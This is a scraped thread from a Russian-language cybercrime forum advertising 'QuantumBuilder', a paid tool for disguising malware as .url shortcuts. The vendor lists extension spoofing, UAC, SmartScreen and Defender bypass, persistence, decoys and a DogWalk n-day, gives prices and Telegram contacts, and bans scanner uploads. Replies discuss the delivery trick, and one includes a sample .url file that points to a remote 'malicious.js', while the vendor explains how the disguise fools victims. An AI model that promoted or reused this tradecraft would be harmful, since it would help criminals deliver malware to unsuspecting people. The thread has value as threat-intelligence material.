• XSS.stack #1 – первый литературный журнал от юзеров форума

.URL Exploit - Attach to Gmail - Spoof ANY extension - Custom icons - FUD - Bypass Smartscreen - UAC Bypass - No ZIPs required & More

В этой теме можно использовать автоматический гарант!

Новая сделка
Отслеживать
QuantumSoftware

QuantumSoftware

RAM
Забанен
Регистрация
13.05.2022
Сообщения
105
Реакции
14
Гарант сделки
3
Пожалуйста, обратите внимание, что пользователь заблокирован
Welcome everyone,
we are very excited to bring this new revolutionary exploit to the market.

This tool is an extension to our older .lnk builder:
https://duckduckgo.com/?q=lnk+quantum+builder
https://xss.pro/threads/67100/
But its so game changing that we decided to create a new thread for it.

The new and improved QuantumBuilder will make your payload look like any file format (.png, .mp4, .doc, ...), just like our other project, but you will be also able to send the plain payload without using .Zips and even attach it to Gmail. Also any file can now be used as an icon.

Demo:
Attach to Gmail demo:

Features:
  • Premium support team and many video tutorials are available [NEW]
  • Load any icon you want [NEW]
  • Attach to gmail [NEW]
  • Spoof ANY extension
  • UAC Bypass
  • Implementation of the dogwalk n-day exploit, more info below
  • Bypass Windows Smartscreen, EV certs are a thing of the past
  • 100% FUD, even if you spread your stub. Every build is unique (https://www.checkzilla.io/scan/a09553ac-fce9-4536-99a8-32f65275ee01)
  • Decoy (upon opening your .url a file of your choosing will be displayed on your victim's pc)
  • Multiple payloads per .url file. Even if one gets detected the rest will still run
  • Supported payload formats: .exe/.js/.vbs/.bat/.ps1/.msi
  • Dll payloads
  • Choose the .url file size
  • Execute your exes with admin privileges by prompting UAC with a Microsoft signed binary (powershell.exe)
  • Run your payload at startup, with a delay or when the victim's computer is idle
  • Hide your payloads after executing them
  • Replace the .url with the decoy file once executed.
  • Melt .url after execution
  • WD exclusion wrapper
  • Display a message when the .url gets run
  • Choose where your payload is dropped on your victim's computer
  • Compress your shortcut in a .iso/.img/.cab

The actual .url extension is always hidden in windows:
demo.PNG



Implementation of the dogwalk n-day exploit:
This exploit will allow you to send shortcuts over email without actually attaching any file.
Demo:

Prices:
1 month > 1900 EUR
2 months > 3400 EUR
Lifetime > 5000 EUR
Forum guarantor accepted

Contacts:
Telegram > @QuantumBuilderSupport (https://t.me/QuantumBuilderSupport)
This is the @ of a user, not a channel. Some scammers are trying to impersonate us so be careful.
Tox > FD378852532E37DB2DC7B945E581F2C5D49AB2E89F4715AC136E89F04F960A06EA08061D4DD4


TOS:
  • Uploading samples to virus total and similar scanners is prohibited.
  • All support is provided via private chat, not in this thread. Asking for instructions here is prohibited (many people get pinged every time a message is sent).
  • If you are given some instructions and you refuse to follow them, for example disabling windows defender's sample submission, your license might be banned.
  • We do not offer any kind of compensation if your payload gets detected while the files produced by this builder are clean.
  • All sales are final.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
but it still tell them its a shortcut etc, there are pop ups, why is it this expensive ?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Smallstone сказал(а):
but it still tell them its a shortcut etc, there are pop ups, why is it this expensive ?
Because the custom icon and hidden extension outside of the browser is more than enough to fool most people, as one can see from all the successful campaigns that used .lnks.
And now you get to attach the file directly to gmail too.
Also while most people still consider .lnks safe they are a known method to deliver payloads, unlike .urls, which have been used extremely rarely by blackhats.
Lastly, right now there aren't many better exploits on the market, and for sure none of them is cheaper.
 
is it not just the abuse of file://?

internet shortcut file with data:

Код: 
[InternetShortcut]
URL=file://example.com/malicious.js
IDList=
HotKey=0
IconFile=C:/Users/local_file_icon.ico
IconIndex=0
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
vei сказал(а):
is it not just the abuse of file://?

internet shortcut file with data:

Код: 
[InternetShortcut]
URL=file://example.com/malicious.js
IDList=
HotKey=0
IconFile=C:/Users/local_file_icon.ico
IconIndex=0
Nope, try to run a lnk with that. Any Av will block it.
 
The question is If i Remake this now again😂
 
r1z сказал(а):
URL которые не стоят 100 долларов за него.. мы здесь не дураки, чувак, иди шути другие дураки вроде тебя.
Бля хотел хоть сто бакинских заработать облом
149706209.gif


 
Пожалуйста, обратите внимание, что пользователь заблокирован
xrahitel сказал(а):
Бля хотел хоть сто бакинских заработать облом Посмотреть вложение 47070

The admin deleted r1z's flame so I have to answer to this gain, sorry about the ping.

Yeah this is a similar method but it won't work with .lnks files, it will get them detected for sure by any AV.
And if you don't use .lnks there is no point to this, the victim would be prompted with a "do you want to run payload.vbs", the only reason that warning is not present in your video is that you either stripped the .url of the mark of the web or you didn't download it at all.
But yes if you aren't concerned about the smart screen this is for sure viable, even tho I doubt it would work for any corp/IT savy guy
 
admin


Напишите ответ...
Верх